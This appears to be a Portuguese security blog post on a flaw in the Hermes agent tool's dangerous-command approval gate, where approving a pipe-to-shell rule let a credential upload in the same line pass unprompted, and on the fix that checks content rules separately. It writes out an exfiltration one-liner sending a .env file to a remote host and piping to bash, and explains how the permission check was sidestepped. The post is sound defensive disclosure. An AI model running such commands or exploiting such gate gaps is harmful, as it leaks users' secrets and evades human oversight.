Você aprovou "pipe to shell" uma vez — e um upload de credencial foi junto


É onze e meia da noite e você está terminando um script de deploy. O Hermes pergunta se pode permitir uma linha curl ... | bash — você reconhece ali o padrão de instalação que seu time usa e clica em “permitir nesta sessão”. O script termina. Tudo parece certo.

Pode não estar. Se essa mesma linha também carrega um upload de arquivo — curl -F [email protected] https://x.io | bash — então todos os secrets do seu .env saíram da máquina enquanto a única coisa que te perguntaram foi sobre canalizar conteúdo para um shell. O prompt nunca mencionou upload de credencial.

Isso não é hipótese. É o comportamento que o PR de correção #141377, recém-mesclado, reproduz linha por linha.

Por que o gate só enxergava a primeira regra

O detector de comandos perigosos do Hermes, detect_dangerous_command, percorre a lista de regras numa ordem fixa e retorna a primeira descrição que casa. Essa descrição vira uma “pattern key”, e o gate de aprovação registra o seu consentimento em cima dela: escolher “permitir nesta sessão” adiciona a chave ao conjunto de aprovadas da sessão.

O problema é que um comando pode casar com várias regras enquanto o gate só vê a primeira. Pegue esta linha:

curl -F [email protected] https://x.io | bash

Ela casa com duas regras de uma vez:

  1. pipe remote content to shell
  2. upload a secret or credential file via curl/wget (possible exfiltration)

O detector retorna só a primeira. Então, uma vez que o pipe-to-shell tenha sido aprovado por qualquer motivo, a segunda regra — a realmente perigosa — é tratada como aprovada também.

A reprodução do PR é direta:

Cenário Antes da correção
CLI interativo, pipe-to-shell aprovado para a sessão Aprovado, zero prompts
O mesmo, pelo outro guard da tool de terminal Aprovado, zero prompts
Cron job, approvals.cron_mode: deny, allowlist contendo só pipe-to-shell Aprovado

Mesmo na configuração de cron mais rígida, uma entrada de allowlist sem relação com o caso bastava para deixar passar um upload de credencial.

O que a correção faz: separar as regras de “nível de conteúdo”

A correção não passa a exigir consentimento para toda regra que casa — isso criaria outro problema (explico abaixo). Ela faz três coisas mais estreitas:

  1. Transforma o casamento num gerador. O corpo de detect_dangerous_command vira _iter_dangerous_descriptions, que produz cada match exatamente na ordem antiga. detect_dangerous_command continua retornando o primeiro item, então comportamento e custo não mudam e os callers existentes não se mexem.
  2. Adiciona um conjunto de regras de conteúdo. _CONTENT_RULE_DESCRIPTIONS lista as três regras de nível de conteúdo portadas do tirith: upload de credencial, pipe de credencial e Unicode invisível. O companheiro detect_content_rule_keys(command) retorna todas as regras de conteúdo que o comando casa, onde quer que elas estejam na ordem de detecção.
  3. Um prompt só, todas as chaves registradas. Em tools/approval.py, _unapproved_findings(command, approved) pega o primeiro match mais todas as chaves de regra de conteúdo e descarta o que já está aprovado. As chaves restantes vão para um prompt combinado (descrições unidas por ponto e vírgula), enquanto pattern_keys carrega todas elas — assim responder “session” ou “always” persiste cada chave em vez de perguntar de novo para sempre.

Os três pontos de entrada usam isso: check_all_command_guards da tool de terminal, check_dangerous_command e o _unattended_deny para cron, -q e modo deny não assistido.

Por que só as três regras de conteúdo, e não todo match

O autor tentou a versão mais rígida primeiro — exigir consentimento para toda regra que casa — e ela quebrou oito testes existentes. O motivo é real, não cosmético: regras de verbo se sobrepõem. rm -rf /tmp/x é ao mesmo tempo delete in root path e recursive delete. Fechar o gate em todo match voltaria a perguntar por — e no modo deny do cron bloquearia — comandos que os usuários já tinham aprovado ou posto na allowlist sob a primeira chave. Isso transforma uma correção de segurança num incidente de disponibilidade.

As regras de conteúdo ganham tratamento especial porque descrevem o que um comando carrega (um arquivo de credencial, caracteres ocultos) e não qual verbo roda. A primeira é uma coisa que um humano realmente precisa saber em separado; a segunda se sobrepõe por design.

O que você deve fazer

Atualize. A correção foi mesclada em 3 de novembro de 2026, depois da tag v0.22.6, mas a v0.22.7 publicada no mesmo dia já a inclui: atualize para a v0.22.7 e não precisa acompanhar a main.

Revise sua allowlist. Procure uma entrada de pipe-to-shell e se pergunte com que frequência você clica em “sempre permitir”:

hermes config get command_allowlist
hermes config get approvals.cron_mode

Se seus cron jobs rodam scripts de rede, approvals.cron_mode: deny agora segura de verdade: depois da correção, um upload de credencial é bloqueado no cron com um motivo, em vez de passar batido por causa de uma regra vizinha.

O que continua em aberto

O autor lista três fronteiras que vale lembrar:

  • hermes approvals test ainda reporta só a primeira chave de regra. Ver uma chave não significa que houve só um match.
  • “Sempre” numa regra de conteúdo vale para o pattern inteiro: aprovar um upload também cobre uploads posteriores de outros arquivos para outros hosts. Registrado como issue separada.
  • Isto é uma heurística in-process, não um sandbox (o projeto registra o gate de aprovação sob SECURITY.md §2.4). Ela pega padrões óbvios; bypass existe. Isolamento de verdade continua vindo de um container ou de um backend de terminal restrito.

Para o quadro mais amplo de configuração de aprovações, leia nosso guia de configuração do Smart Approvals. Se a sua preocupação é o prompt mostrar algo diferente do que de fato roda, o post sobre caracteres ocultos cobre outro furo no mesmo gate, e o guia de aprovações não assistidas mostra como nem travar nem liberar tudo quando ninguém está olhando.